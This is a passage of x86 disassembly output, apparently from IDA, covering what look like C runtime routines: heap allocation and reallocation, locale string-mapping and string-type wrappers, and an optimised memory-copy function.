edi, esi or edx, edi jz short loc_403C11 loc_403C28: ; CODE XREF: sub_403B34+DBj mov edx, [ebp+var_4] loc_403C2B: ; CODE XREF: sub_403B34+BFj mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] xor edi, edi and ecx, esi jnz short loc_403CB4 mov ecx, [eax+edx*4+0C4h] and ecx, [ebp+var_8] push 20h pop edi jmp short loc_403CB4 ; --------------------------------------------------------------------------- loc_403C56: ; CODE XREF: sub_403B34+131j cmp dword ptr [ebx+8], 0 jnz short loc_403C67 add ebx, 14h mov [ebp+arg_0], ebx loc_403C62: ; CODE XREF: sub_403B34+94j cmp ebx, [ebp+var_4] jb short loc_403C56 loc_403C67: ; CODE XREF: sub_403B34+126j cmp ebx, [ebp+var_4] jnz short loc_403C92 mov ebx, edx jmp short loc_403C79 ; --------------------------------------------------------------------------- loc_403C70: ; CODE XREF: sub_403B34+14Aj cmp dword ptr [ebx+8], 0 jnz short loc_403C80 add ebx, 14h loc_403C79: ; CODE XREF: sub_403B34+13Aj cmp ebx, eax mov [ebp+arg_0], ebx jb short loc_403C70 loc_403C80: ; CODE XREF: sub_403B34+140j cmp ebx, eax jnz short loc_403C92 call sub_403698 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_403CAA loc_403C92: ; CODE XREF: sub_403B34+136j ; sub_403B34+14Ej push ebx call sub_40374F pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz loc_403BCE loc_403CAA: ; CODE XREF: sub_403B34+15Cj xor eax, eax jmp loc_403E2B ; --------------------------------------------------------------------------- loc_403CB1: ; CODE XREF: sub_403B34+182j shl ecx, 1 inc edi loc_403CB4: ; CODE XREF: sub_403B34+111j ; sub_403B34+120j test ecx, ecx jge short loc_403CB1 mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx sar esi, 4 dec esi cmp esi, 3Fh mov [ebp+var_8], ecx jle short loc_403CD5 push 3Fh pop esi loc_403CD5: ; CODE XREF: sub_403B34+19Cj cmp esi, edi jz loc_403DDE mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_403D41 cmp edi, 20h mov ebx, 80000000h jge short loc_403D15 mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_403D3E mov ecx, [ebp+var_14] mov ebx, [ebp+arg_0] and [ebx], ecx jmp short loc_403D41 ; --------------------------------------------------------------------------- loc_403D15: ; CODE XREF: sub_403B34+1B9j lea ecx, [edi-20h] shr ebx, cl mov ecx, [ebp+var_4] lea ecx, [eax+ecx*4+0C4h] lea edi, [eax+edi+4] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_403D3E mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_403D41 ; --------------------------------------------------------------------------- loc_403D3E: ; CODE XREF: sub_403B34+1D5j ; sub_403B34+1FDj mov ebx, [ebp+arg_0] loc_403D41: ; CODE XREF: sub_403B34+1AFj ; sub_403B34+1DFj ... cmp [ebp+var_8], 0 mov ecx, [edx+8] mov edi, [edx+4] mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_403DEA mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [edx+8], ecx mov [edx+4], edi mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_403DDB mov cl, [esi+eax+4] mov byte ptr [ebp+arg_0+3], cl inc cl cmp esi, 20h mov [esi+eax+4], cl jge short loc_403DB2 cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_403DA0 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_403DA0: ; CODE XREF: sub_403B34+25Fj mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_403DDB ; --------------------------------------------------------------------------- loc_403DB2: ; CODE XREF: sub_403B34+259j cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_403DC5 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_403DC5: ; CODE XREF: sub_403B34+282j mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_403DDB: ; CODE XREF: sub_403B34+247j ; sub_403B34+27Cj mov ecx, [ebp+var_8] loc_403DDE: ; CODE XREF: sub_403B34+1A3j test ecx, ecx jz short loc_403DED mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_403DED ; --------------------------------------------------------------------------- loc_403DEA: ; CODE XREF: sub_403B34+223j mov ecx, [ebp+var_8] loc_403DED: ; CODE XREF: sub_403B34+2ACj ; sub_403B34+2B4j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_403E23 cmp ebx, dword_4074A8 jnz short loc_403E23 mov ecx, [ebp+var_4] cmp ecx, dword_4074C0 jnz short loc_403E23 and dword_4074A8, 0 loc_403E23: ; CODE XREF: sub_403B34+2D3j ; sub_403B34+2DBj ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_403E2B: ; CODE XREF: sub_403B34+178j pop edi pop esi pop ebx leave retn sub_403B34 endp ; =============== S U B R O U T I N E ======================================= sub_403E30 proc near ; CODE XREF: sub_402A23+34p ; sub_402A23+49p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] test ebx, ebx push ebp push edi jnz short loc_403E4A push [esp+0Ch+arg_4] call sub_402FB5 pop ecx jmp loc_403F8E ; --------------------------------------------------------------------------- loc_403E4A: ; CODE XREF: sub_403E30+9j push esi mov esi, [esp+10h+arg_4] test esi, esi jnz short loc_403E5F push ebx call sub_402F0B pop ecx jmp loc_403F8B ; --------------------------------------------------------------------------- loc_403E5F: ; CODE XREF: sub_403E30+21j cmp dword_407704, 3 jnz loc_403F57 loc_403E6C: ; CODE XREF: sub_403E30+11Bj xor edi, edi cmp esi, 0FFFFFFE0h ja loc_403F39 push ebx call sub_403355 mov ebp, eax test ebp, ebp pop ecx jz loc_403F18 cmp esi, dword_4074B4 ja short loc_403ED8 push esi push ebx push ebp call sub_403855 add esp, 0Ch test eax, eax jz short loc_403EA3 mov edi, ebx jmp short loc_403ED4 ; --------------------------------------------------------------------------- loc_403EA3: ; CODE XREF: sub_403E30+6Dj push esi call sub_403B34 mov edi, eax test edi, edi pop ecx jz short loc_403ED8 mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_403EBA mov eax, esi loc_403EBA: ; CODE XREF: sub_403E30+86j push eax push ebx push edi call sub_402FD0 push ebx call sub_403355 mov ebp, eax push ebx push ebp call sub_403380 add esp, 18h loc_403ED4: ; CODE XREF: sub_403E30+71j test edi, edi jnz short loc_403F14 loc_403ED8: ; CODE XREF: sub_403E30+5Ej ; sub_403E30+7Ej test esi, esi jnz short loc_403EDD inc esi loc_403EDD: ; CODE XREF: sub_403E30+AAj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_407700 call ds:dword_4050C8 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_403F14 mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_403F02 mov eax, esi loc_403F02: ; CODE XREF: sub_403E30+CEj push eax push ebx push edi call sub_402FD0 push ebx push ebp call sub_403380 add esp, 14h loc_403F14: ; CODE XREF: sub_403E30+A6j ; sub_403E30+C6j test ebp, ebp jnz short loc_403F35 loc_403F18: ; CODE XREF: sub_403E30+52j test esi, esi jnz short loc_403F1D inc esi loc_403F1D: ; CODE XREF: sub_403E30+EAj add esi, 0Fh and esi, 0FFFFFFF0h push esi push ebx push 0 push dword_407700 call ds:dword_4050D0 ; RtlReAllocateHeap mov edi, eax loc_403F35: ; CODE XREF: sub_403E30+E6j test edi, edi jnz short loc_403F53 loc_403F39: ; CODE XREF: sub_403E30+41j cmp dword_4074A4, 0 jz short loc_403F53 push esi call sub_404540 test eax, eax pop ecx jnz loc_403E6C jmp short loc_403F8B ; --------------------------------------------------------------------------- loc_403F53: ; CODE XREF: sub_403E30+107j ; sub_403E30+110j mov eax, edi jmp short loc_403F8D ; --------------------------------------------------------------------------- loc_403F57: ; CODE XREF: sub_403E30+36j ; sub_403E30+159j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_403F77 test esi, esi jnz short loc_403F63 inc esi loc_403F63: ; CODE XREF: sub_403E30+130j push esi push ebx push 0 push dword_407700 call ds:dword_4050D0 ; RtlReAllocateHeap test eax, eax jnz short loc_403F8D loc_403F77: ; CODE XREF: sub_403E30+12Cj cmp dword_4074A4, 0 jz short loc_403F8D push esi call sub_404540 test eax, eax pop ecx jnz short loc_403F57 loc_403F8B: ; CODE XREF: sub_403E30+2Aj ; sub_403E30+121j xor eax, eax loc_403F8D: ; CODE XREF: sub_403E30+125j ; sub_403E30+145j ... pop esi loc_403F8E: ; CODE XREF: sub_403E30+15j pop edi pop ebp pop ebx retn sub_403E30 endp ; =============== S U B R O U T I N E ======================================= sub_403F92 proc near ; CODE XREF: sub_402A23+7p arg_0 = dword ptr 4 cmp dword_407704, 3 push esi jnz short loc_403FB6 mov esi, [esp+4+arg_0] push esi call sub_403355 test eax, eax pop ecx jz short loc_403FB3 mov eax, [esi-4] sub eax, 9 pop esi retn ; --------------------------------------------------------------------------- loc_403FB3: ; CODE XREF: sub_403F92+17j push esi jmp short loc_403FBA ; --------------------------------------------------------------------------- loc_403FB6: ; CODE XREF: sub_403F92+8j push [esp+4+arg_0] loc_403FBA: ; CODE XREF: sub_403F92+22j push 0 push dword_407700 call ds:dword_4050D4 ; RtlSizeHeap pop esi retn sub_403F92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FCA proc near ; CODE XREF: sub_402B7B+C5p ; sub_402B7B+EDp var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push 38h push offset stru_405CF0 call __SEH_prolog xor ebx, ebx cmp dword_407498, ebx jnz short loc_404018 push ebx push ebx xor esi, esi inc esi push esi push offset dword_405CEC push 100h push ebx call ds:dword_4050E0 ; LCMapStringW test eax, eax jz short loc_404003 mov dword_407498, esi jmp short loc_404018 ; --------------------------------------------------------------------------- loc_404003: ; CODE XREF: sub_403FCA+2Fj call ds:dword_405090 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_404018 mov dword_407498, 2 loc_404018: ; CODE XREF: sub_403FCA+14j ; sub_403FCA+37j ... cmp [ebp+arg_C], ebx jle short loc_404038 mov ecx, [ebp+arg_C] mov eax, [ebp+arg_8] loc_404023: ; CODE XREF: sub_403FCA+61j dec ecx cmp [eax], bl jz short loc_404030 inc eax cmp ecx, ebx jnz short loc_404023 or ecx, 0FFFFFFFFh loc_404030: ; CODE XREF: sub_403FCA+5Cj or eax, 0FFFFFFFFh sub eax, ecx add [ebp+arg_C], eax loc_404038: ; CODE XREF: sub_403FCA+51j mov eax, dword_407498 cmp eax, 2 jz loc_404222 cmp eax, ebx jz loc_404222 cmp eax, 1 jnz loc_404255 xor edi, edi mov [ebp+var_2C], edi mov [ebp+var_38], ebx mov [ebp+var_34], ebx cmp [ebp+arg_18], ebx jnz short loc_40406F mov eax, dword_407490 mov [ebp+arg_18], eax loc_40406F: ; CODE XREF: sub_403FCA+9Bj push ebx push ebx push [ebp+arg_C] push [ebp+arg_8] xor eax, eax cmp [ebp+arg_1C], ebx setnz al lea eax, ds:1[eax*8] push eax push [ebp+arg_18] call ds:dword_4050DC ; MultiByteToWideChar mov esi, eax mov [ebp+var_30], esi cmp esi, ebx jz loc_404255 mov [ebp+ms_exc.disabled], 1 lea eax, [esi+esi] add eax, 3 and eax, 0FFFFFFFCh call sub_402310 mov [ebp+ms_exc.old_esp], esp mov eax, esp mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_4040DB ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] call sub_404B0C xor ebx, ebx mov [ebp+var_1C], ebx or [ebp+ms_exc.disabled], 0FFFFFFFFh mov edi, [ebp+var_2C] mov esi, [ebp+var_30] loc_4040DB: ; CODE XREF: sub_403FCA+F4j cmp [ebp+var_1C], ebx jnz short loc_4040FC lea eax, [esi+esi] push eax call sub_402FB5 pop ecx mov [ebp+var_1C], eax cmp eax, ebx jz loc_404255 mov [ebp+var_38], 1 loc_4040FC: ; CODE XREF: sub_403FCA+114j push esi push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call ds:dword_4050DC ; MultiByteToWideChar test eax, eax jz loc_4041FF push ebx push ebx push esi push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4050E0 ; LCMapStringW mov edi, eax mov [ebp+var_2C], edi cmp edi, ebx jz loc_4041FF test byte ptr [ebp+arg_4+1], 4 jz short loc_40416B cmp [ebp+arg_14], ebx jz loc_4041FF cmp edi, [ebp+arg_14] jg loc_4041FF push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4050E0 ; LCMapStringW jmp loc_4041FF ; --------------------------------------------------------------------------- loc_40416B: ; CODE XREF: sub_403FCA+172j mov [ebp+ms_exc.disabled], 2 lea eax, [edi+edi] add eax, 3 and eax, 0FFFFFFFCh call sub_402310 mov [ebp+ms_exc.old_esp], esp mov eax, esp mov [ebp+var_20], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_4041A9 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] call sub_404B0C xor ebx, ebx mov [ebp+var_20], ebx or [ebp+ms_exc.disabled], 0FFFFFFFFh mov edi, [ebp+var_2C] mov esi, [ebp+var_30] loc_4041A9: ; CODE XREF: sub_403FCA+1C2j cmp [ebp+var_20], ebx jnz short loc_4041C6 lea eax, [edi+edi] push eax call sub_402FB5 pop ecx mov [ebp+var_20], eax cmp eax, ebx jz short loc_4041FF mov [ebp+var_34], 1 loc_4041C6: ; CODE XREF: sub_403FCA+1E2j push edi push [ebp+var_20] push esi push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4050E0 ; LCMapStringW test eax, eax jz short loc_4041FF push ebx push ebx cmp [ebp+arg_14], ebx jnz short loc_4041E9 push ebx push ebx jmp short loc_4041EF ; --------------------------------------------------------------------------- loc_4041E9: ; CODE XREF: sub_403FCA+219j push [ebp+arg_14] push [ebp+arg_10] loc_4041EF: ; CODE XREF: sub_403FCA+21Dj push edi push [ebp+var_20] push ebx push [ebp+arg_18] call ds:dword_40508C ; WideCharToMultiByte mov edi, eax loc_4041FF: ; CODE XREF: sub_403FCA+149j ; sub_403FCA+168j ... cmp [ebp+var_34], ebx jz short loc_40420D push [ebp+var_20] call sub_402F0B pop ecx loc_40420D: ; CODE XREF: sub_403FCA+238j cmp [ebp+var_38], ebx jz short loc_40421B push [ebp+var_1C] call sub_402F0B pop ecx loc_40421B: ; CODE XREF: sub_403FCA+246j mov eax, edi jmp loc_40437D ; --------------------------------------------------------------------------- loc_404222: ; CODE XREF: sub_403FCA+76j ; sub_403FCA+7Ej mov [ebp+var_28], ebx xor edi, edi mov [ebp+var_3C], ebx cmp [ebp+arg_0], ebx jnz short loc_404237 mov eax, dword_407480 mov [ebp+arg_0], eax loc_404237: ; CODE XREF: sub_403FCA+263j cmp [ebp+arg_18], ebx jnz short loc_404244 mov eax, dword_407490 mov [ebp+arg_18], eax loc_404244: ; CODE XREF: sub_403FCA+270j push [ebp+arg_0] call sub_404900 pop ecx mov [ebp+var_40], eax cmp eax, 0FFFFFFFFh jnz short loc_40425C loc_404255: ; CODE XREF: sub_403FCA+87j ; sub_403FCA+CDj ... xor eax, eax jmp loc_40437D ; --------------------------------------------------------------------------- loc_40425C: ; CODE XREF: sub_403FCA+289j cmp eax, [ebp+arg_18] jz loc_404353 push ebx push ebx lea ecx, [ebp+arg_C] push ecx push [ebp+arg_8] push eax push [ebp+arg_18] call sub_404943 add esp, 18h mov [ebp+var_28], eax cmp eax, ebx jz short loc_404255 push ebx push ebx push [ebp+arg_C] push eax push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4050D8 ; LCMapStringA mov esi, eax mov [ebp+var_24], esi cmp esi, ebx jz loc_404342 mov [ebp+ms_exc.disabled], ebx add eax, 3 and eax, 0FFFFFFFCh call sub_402310 mov [ebp+ms_exc.old_esp], esp mov edi, esp mov [ebp+var_44], edi push esi push ebx push edi call sub_4048A0 add esp, 0Ch jmp short loc_4042D3 ; --------------------------------------------------------------------------- loc_4042C3: ; DATA XREF: .rdata:stru_405CF0o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_4042C7: ; DATA XREF: .rdata:stru_405CF0o mov esp, [ebp+ms_exc.old_esp] call sub_404B0C xor ebx, ebx xor edi, edi loc_4042D3: ; CODE XREF: sub_403FCA+2F7j or [ebp+ms_exc.disabled], 0FFFFFFFFh cmp edi, ebx jnz short loc_4042FE push [ebp+var_24] call sub_402FB5 pop ecx mov edi, eax cmp edi, ebx jz short loc_40431B push [ebp+var_24] push ebx push edi call sub_4048A0 add esp, 0Ch mov [ebp+var_3C], 1 loc_4042FE: ; CODE XREF: sub_403FCA+30Fj push [ebp+var_24] push edi push [ebp+arg_C] push [ebp+var_28] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4050D8 ; LCMapStringA mov [ebp+var_24], eax cmp eax, ebx jnz short loc_40431F loc_40431B: ; CODE XREF: sub_403FCA+31Ej xor esi, esi jmp short loc_404345 ; --------------------------------------------------------------------------- loc_40431F: ; CODE XREF: sub_403FCA+34Fj push [ebp+arg_14] push [ebp+arg_10] lea eax, [ebp+var_24] push eax push edi push [ebp+arg_18] push [ebp+var_40] call sub_404943 add esp, 18h mov esi, eax neg esi sbb esi, esi neg esi jmp short loc_404345 ; --------------------------------------------------------------------------- loc_404342: ; CODE XREF: sub_403FCA+2D0j mov esi, [ebp+var_48] loc_404345: ; CODE XREF: sub_403FCA+353j ; sub_403FCA+376j cmp [ebp+var_3C], ebx jz short loc_40436D push edi call sub_402F0B pop ecx jmp short loc_40436D ; --------------------------------------------------------------------------- loc_404353: ; CODE XREF: sub_403FCA+295j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4050D8 ; LCMapStringA mov esi, eax loc_40436D: ; CODE XREF: sub_403FCA+37Ej ; sub_403FCA+387j cmp [ebp+var_28], ebx jz short loc_40437B push [ebp+var_28] call sub_402F0B pop ecx loc_40437B: ; CODE XREF: sub_403FCA+3A6j mov eax, esi loc_40437D: ; CODE XREF: sub_403FCA+253j ; sub_403FCA+28Dj lea esp, [ebp-54h] call __SEH_epilog retn sub_403FCA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404386 proc near ; CODE XREF: sub_402B7B+A1p ; sub_404CC2+4Fp ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push 1Ch push offset stru_405D18 call __SEH_prolog xor esi, esi cmp dword_40749C, esi jnz short loc_4043D1 lea eax, [ebp+var_1C] push eax xor edi, edi inc edi push edi push offset dword_405CEC push edi call ds:dword_4050E8 ; GetStringTypeW test eax, eax jz short loc_4043BC mov dword_40749C, edi jmp short loc_4043D1 ; --------------------------------------------------------------------------- loc_4043BC: ; CODE XREF: sub_404386+2Cj call ds:dword_405090 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_4043D1 mov dword_40749C, 2 loc_4043D1: ; CODE XREF: sub_404386+14j ; sub_404386+34j ... mov eax, dword_40749C cmp eax, 2 jz loc_4044C9 cmp eax, esi jz loc_4044C9 cmp eax, 1 jnz loc_4044EF mov [ebp+var_24], esi mov [ebp+var_20], esi cmp [ebp+arg_10], esi jnz short loc_404403 mov eax, dword_407490 mov [ebp+arg_10], eax loc_404403: ; CODE XREF: sub_404386+73j push esi push esi push [ebp+arg_8] push [ebp+arg_4] xor eax, eax cmp [ebp+arg_18], esi setnz al lea eax, ds:1[eax*8] push eax push [ebp+arg_10] call ds:dword_4050DC ; MultiByteToWideChar mov edi, eax mov [ebp+var_28], edi test edi, edi jz loc_4044EF and [ebp+ms_exc.disabled], 0 lea ebx, [edi+edi] mov eax, ebx add eax, 3 and eax, 0FFFFFFFCh call sub_402310 mov [ebp+ms_exc.old_esp], esp mov esi, esp mov [ebp+var_2C], esi push ebx push 0 push esi call sub_4048A0 add esp, 0Ch or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_404474 ; --------------------------------------------------------------------------- loc_40445F: ; DATA XREF: .rdata:stru_405D18o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_404463: ; DATA XREF: .rdata:stru_405D18o mov esp, [ebp+ms_exc.old_esp] call sub_404B0C xor esi, esi or [ebp+ms_exc.disabled], 0FFFFFFFFh mov edi, [ebp+var_28] loc_404474: ; CODE XREF: sub_404386+D7j test esi, esi jnz short loc_40448F push edi push 2 call sub_404BEF pop ecx pop ecx mov esi, eax test esi, esi jz short loc_4044EF mov [ebp+var_20], 1 loc_40448F: ; CODE XREF: sub_404386+F0j push edi push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call ds:dword_4050DC ; MultiByteToWideChar test eax, eax jz short loc_4044B7 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call ds:dword_4050E8 ; GetStringTypeW mov [ebp+var_24], eax loc_4044B7: ; CODE XREF: sub_404386+11Ej cmp [ebp+var_20], 0 jz short loc_4044C4 push esi call sub_402F0B pop ecx loc_4044C4: ; CODE XREF: sub_404386+135j mov eax, [ebp+var_24] jmp short loc_404537 ; --------------------------------------------------------------------------- loc_4044C9: ; CODE XREF: sub_404386+53j ; sub_404386+5Bj mov ebx, [ebp+arg_14] cmp ebx, esi jnz short loc_4044D6 mov ebx, dword_407480 loc_4044D6: ; CODE XREF: sub_404386+148j mov edi, [ebp+arg_10] test edi, edi jnz short loc_4044E3 mov edi, dword_407490 loc_4044E3: ; CODE XREF: sub_404386+155j push ebx call sub_404900 pop ecx cmp eax, 0FFFFFFFFh jnz short loc_4044F3 loc_4044EF: ; CODE XREF: sub_404386+64j ; sub_404386+A5j ... xor eax, eax jmp short loc_404537 ; --------------------------------------------------------------------------- loc_4044F3: ; CODE XREF: sub_404386+167j cmp eax, edi jz short loc_404515 push 0 push 0 lea ecx, [ebp+arg_8] push ecx push [ebp+arg_4] push eax push edi call sub_404943 add esp, 18h mov esi, eax test esi, esi jz short loc_4044EF mov [ebp+arg_4], esi loc_404515: ; CODE XREF: sub_404386+16Fj push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push ebx call ds:dword_4050E4 ; GetStringTypeA mov edi, eax test esi, esi jz short loc_404535 push esi call sub_402F0B pop ecx loc_404535: ; CODE XREF: sub_404386+1A6j mov eax, edi loc_404537: ; CODE XREF: sub_404386+141j ; sub_404386+16Bj lea esp, [ebp-38h] call __SEH_epilog retn sub_404386 endp ; =============== S U B R O U T I N E ======================================= sub_404540 proc near ; CODE XREF: sub_402F89+1Fp ; sub_403E30+113p ... arg_0 = dword ptr 4 mov eax, dword_4074A0 test eax, eax jz short loc_404558 push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_404558 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_404558: ; CODE XREF: sub_404540+7j ; sub_404540+12j xor eax, eax retn sub_404540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404560 proc near ; CODE XREF: sub_403380+2DEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_404580 cmp edi, eax jb loc_4046FC loc_404580: ; CODE XREF: sub_404560+16j test edi, 3 jnz short loc_40459C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4045BC rep movsd jmp ds:off_4046AC[edx*4] ; --------------------------------------------------------------------------- loc_40459C: ; CODE XREF: sub_404560+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4045B4 and eax, 3 add ecx, eax jmp dword ptr ds:loc_4045BC+4[eax*4] ; --------------------------------------------------------------------------- loc_4045B4: ; CODE XREF: sub_404560+46j jmp dword ptr ds:loc_4046BC[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4045BC: ; CODE XREF: sub_404560+31j ; sub_404560+8Ej ... jmp ds:off_404640[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4045D0 dd offset loc_4045FC dd offset loc_404620 ; --------------------------------------------------------------------------- loc_4045D0: ; DATA XREF: sub_404560+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4045BC rep movsd jmp ds:off_4046AC[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4045FC: ; DATA XREF: sub_404560+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4045BC rep movsd jmp ds:off_4046AC[edx*4] ; --------------------------------------------------------------------------- align 10h loc_404620: ; DATA XREF: sub_404560+6Co and edx, ecx mov al, [esi] mov [edi], al add esi, 1 shr ecx, 2 add edi, 1 cmp ecx, 8 jb short loc_4045BC rep movsd jmp ds:off_4046AC[edx*4] ; --------------------------------------------------------------------------- align 10h off_404640 dd offset loc_4046A3 ; DATA XREF: sub_404560:loc_4045BCr dd offset loc_404690 dd offset loc_404688 dd offset loc_404680 dd offset loc_404678 dd offset loc_404670 dd offset loc_404668 dd offset loc_404660 ; --------------------------------------------------------------------------- loc_404660: ; CODE XREF: sub_404560:loc_4045BCj ; DATA XREF: sub_404560+FCo mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_404668: ; CODE XREF: sub_404560:loc_4045BCj ; DATA XREF: sub_404560+F8o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_404670: ; CODE XREF: sub_404560:loc_4045BCj ; DATA XREF: sub_404560+F4o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_404678: ; CODE XREF: sub_404560:loc_4045BCj ; DATA XREF: sub_404560+F0o mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_404680: ; CODE XREF: sub_404560:loc_4045BCj ; DATA XREF: sub_404560+ECo mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_404688: ; CODE XREF: sub_404560:loc_4045BCj ; DATA XREF: sub_404560+E8o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_404690: ; CODE XREF: sub_404560:loc_4045BCj ; DATA XREF: sub_404560+E4o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4046A3: ; CODE XREF: sub_404560:loc_4045BCj ; DATA XREF: sub_404560:off_404640o jmp ds:off_4046AC[edx*4] ; --------------------------------------------------------------------------- align 4 off_4046AC dd offset loc_4046BC ; DATA XREF: sub_404560+35r ; sub_404560+92r ... dd offset loc_4046C4 dd offset loc_4046D0 dd offset loc_4046E4 ; --------------------------------------------------------------------------- loc_4046BC: ; CODE XREF: sub_404560+35j ; sub_404560+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4046C4: ; CODE XREF: sub_404560+35j ; sub_404560+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4046D0: ; CODE XREF: sub_404560+35j ; sub_404560+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4046E4: ; CODE XREF: sub_404560+35j ; 